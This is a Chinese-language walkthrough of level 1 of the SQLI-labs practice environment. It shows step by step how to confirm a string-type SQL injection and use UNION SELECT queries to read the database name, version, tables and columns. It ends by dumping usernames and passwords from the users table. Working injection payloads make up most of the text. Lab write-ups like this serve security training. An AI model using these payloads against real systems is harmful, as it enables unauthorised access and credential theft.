SQLI-labs第一关
SQLI-labs数据库类型为mysql
根据提示输入数字值的ID作为参数,我们输入?id=1
判断是否存在SQL注入:
分别输入?id=1 ?id=2
根据返回结果的不同判断出我们的参数是成功被带入语句查询的
判断sql语句是否是拼接,是字符型还是数字型。
输入?id=1'
根据提示将后面的limit进行注释
?id=1'--+
可以根据结果指定是字符型且存在sql注入漏洞。因为该页面存在回显,所以我们可以使用联合查询。
第一步:判断列数
?id=1'order by 3 --+ ?id=1'order by 4 --+
到四就出现出错,所以判断为3列
第二步:爆出显示位
?id=-1'union select 1,2,3--+
判断出显示位为2,3
第三步:查询数据库名字,版本
?id=-1'union select 1,database(),version()--+
名字为security、版本为8.0,存在information_schema数据库
第四步:查询表名
?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
说明security数据库下存在四个表,其中user表可能存在用户信息
第五步:查询列名
?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'--+
说明存在该数据库中的user表存在三个字段
第六步:查询数据
这一步不再需要联合注入,因为通过最初的注入判断,我们可以知道我们当前查询的位置其实就是在security数据库中
?id=-1' union select 1,2,group_concat(username,id , password) from users--+
成功爆出用户名和密码